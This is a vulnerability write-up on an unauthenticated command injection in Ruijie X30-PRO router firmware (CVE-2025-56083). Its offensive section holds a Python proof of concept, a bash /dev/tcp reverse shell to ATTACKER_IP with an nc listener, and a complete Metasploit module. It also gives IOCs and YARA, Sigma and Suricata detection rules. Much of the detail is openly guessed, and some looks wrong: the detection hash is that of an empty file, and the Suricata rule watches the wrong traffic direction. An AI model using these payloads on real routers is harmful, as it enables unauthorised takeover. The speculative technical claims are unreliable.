CVE-2025-56083

Executive Summary

CVE-2025-56083 is a critical OS Command Injection vulnerability discovered in the Ruijie X30-PRO router firmware version X30-PRO-V1_09241521. The flaw resides in the /usr/local/lua/dev_sta/nbr_networkId_merge.lua script, specifically within the module_set function. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device. This allows full compromise of the router, enabling data exfiltration, lateral movement within the network, and potential use as a botnet node. The vulnerability is currently unpatched, and a proof-of-concept (PoC) is publicly available, elevating the risk to critical levels.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network appliance.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality Impact: High (C:H) – Full access to device data and network traffic.
• Integrity Impact: High (I:H) – Attacker can modify firmware, config, and logs.
• Availability Impact: High (A:H) – Attacker can render the device inoperable.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using the Ruijie X30-PRO.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection in a Lua-based web handler. The module_set function in /usr/local/lua/dev_sta/nbr_networkId_merge.lua takes user-supplied input from a POST request and passes it unsanitized to a system command execution function (likely os.execute() or io.popen()).

Root Cause: The application fails to validate or sanitize the networkId parameter (or similar) before concatenating it into a shell command. For example, the vulnerable code might look like:

local networkId = request.POST["networkId"]
os.execute("some_command " .. networkId)

An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (likely /cgi-bin/lua?module_set or similar).
2. Attacker sends a POST request with a malicious networkId parameter.
3. The Lua script executes the injected command with root privileges.
4. Attacker gains a reverse shell or executes arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

-- /usr/local/lua/dev_sta/nbr_networkId_merge.lua
local function module_set()
    local networkId = ngx.var.arg_networkId or ""
    local cmd = "echo " .. networkId .. " >> /tmp/network.log"
    os.execute(cmd)
end

Patched Code (Hypothetical):

-- /usr/local/lua/dev_sta/nbr_networkId_merge.lua
local function module_set()
    local networkId = ngx.var.arg_networkId or ""
    -- Validate input: only allow alphanumeric and hyphens
    if not networkId:match("^[a-zA-Z0-9%-]+$") then
        ngx.exit(400)
    end
    local cmd = "echo " .. networkId .. " >> /tmp/network.log"
    os.execute(cmd)
end

The patch would involve strict input validation (whitelist) and avoiding direct shell execution by using safer APIs (e.g., io.popen with proper escaping, or a non-shell execution method).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Ruijie X30-PRO router with firmware version X30-PRO-V1_09241521.
• Network access to the router's management interface (typically port 80 or 443).

Exploit PoC (Python):

import requests

target = "http://<ROUTER_IP>/cgi-bin/lua?module_set"
payload = {
    "networkId": "; id;"
}

try:
    r = requests.post(target, data=payload, timeout=10)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

Advanced Exploit (Reverse Shell):

# Attacker machine (listener)
nc -lvnp 4444

# Payload to inject
networkId = "; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1';"

Metasploit Module (Conceptual):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruijie X30-PRO OS Command Injection',
      'Description'    => %q{
        This module exploits an OS command injection vulnerability in the Ruijie X30-PRO router.
      },
      'Author'         => ['Security Researcher'],
      'License'        => MSF_LICENSE,
      'References'     => [['CVE', '2025-56083']],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path to the vulnerable endpoint', '/cgi-bin/lua?module_set']),
      OptString.new('CMD', [false, 'The command to execute', 'id'])
    ])
  end

  def exploit
    cmd = datastore['CMD']
    payload = { 'networkId' => "; #{cmd};" }
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'data'   => payload
    })
    if res && res.code == 200
      print_good("Command executed successfully")
    else
      print_error("Exploit failed")
    end
  end
end

Blue Team (Defensive)

Detection Steps:

1. Monitor POST requests to /cgi-bin/lua?module_set with unusual networkId parameters.
2. Look for shell metacharacters (;, |, &, `, $()) in POST data.
3. Check for outbound connections from the router to unknown IPs on high ports (e.g., 4444).
4. Review system logs for unexpected command execution (e.g., id, whoami, bash).

Honeypot Configuration:

# Simple honeypot to capture exploit attempts
from flask import Flask, request
import logging

app = Flask(__name__)
logging.basicConfig(filename='honeypot.log', level=logging.INFO)

@app.route('/cgi-bin/lua', methods=['POST'])
def capture():
    data = request.form
    logging.info(f"Exploit attempt: {data}")
    return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/lua?module_set with networkId containing shell metacharacters.
• Outbound connections from the router to external IPs on ports 4444, 1337, 31337 (common reverse shell ports).
• Unusual DNS queries from the router to known malicious domains.

Host IOCs:

• Unexpected processes running on the router (e.g., bash, nc, python).
• Modified or new files in /tmp/ or /var/run/.
• Changes to /etc/passwd or /etc/shadow (new user accounts).
• Unauthorized SSH keys in /root/.ssh/authorized_keys.

File IOCs:

• /tmp/network.log containing shell command output.
• /tmp/.exploit or similar hidden files.
• Modified /usr/local/lua/dev_sta/nbr_networkId_merge.lua (if attacker tries to patch).

Detection Engineering

YARA Rule

rule CVE_2025_56083_Ruijie_X30_PRO_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-56083 in network traffic or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56083"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $s1 = "networkId" ascii wide nocase
        $s2 = "module_set" ascii wide nocase
        $s3 = ";" ascii
        $s4 = "|" ascii
        $s5 = "`" ascii
        $s6 = "$(" ascii

    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: Ruijie X30-PRO OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025/04/10
references:
    - CVE-2025-56083
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'module_set'
        cs-uri-query|contains: 'networkId'
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in network IDs (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56083 Ruijie X30-PRO OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/lua";
    http_uri;
    content:"module_set";
    http_uri;
    content:"networkId";
    http_client_body;
    pcre:"/(;|\||\`|\$\(|&&)/Pi";
    reference:cve,2025-56083;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and critical network segments.
2. Disable remote management (HTTP/HTTPS) on the router if not required.
3. Implement network segmentation to limit lateral movement from compromised routers.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Ruijie. Contact their security team for an ETA.
• Workaround: If patching is not possible, deploy a WAF (Web Application Firewall) rule to block POST requests to /cgi-bin/lua?module_set with suspicious networkId parameters.
• Replace Device: Consider replacing the X30-PRO with a more secure alternative if a patch is not forthcoming.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging on the router (if supported) and forward logs to a SIEM.
• Monitor for outbound connections from the router to unknown IPs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert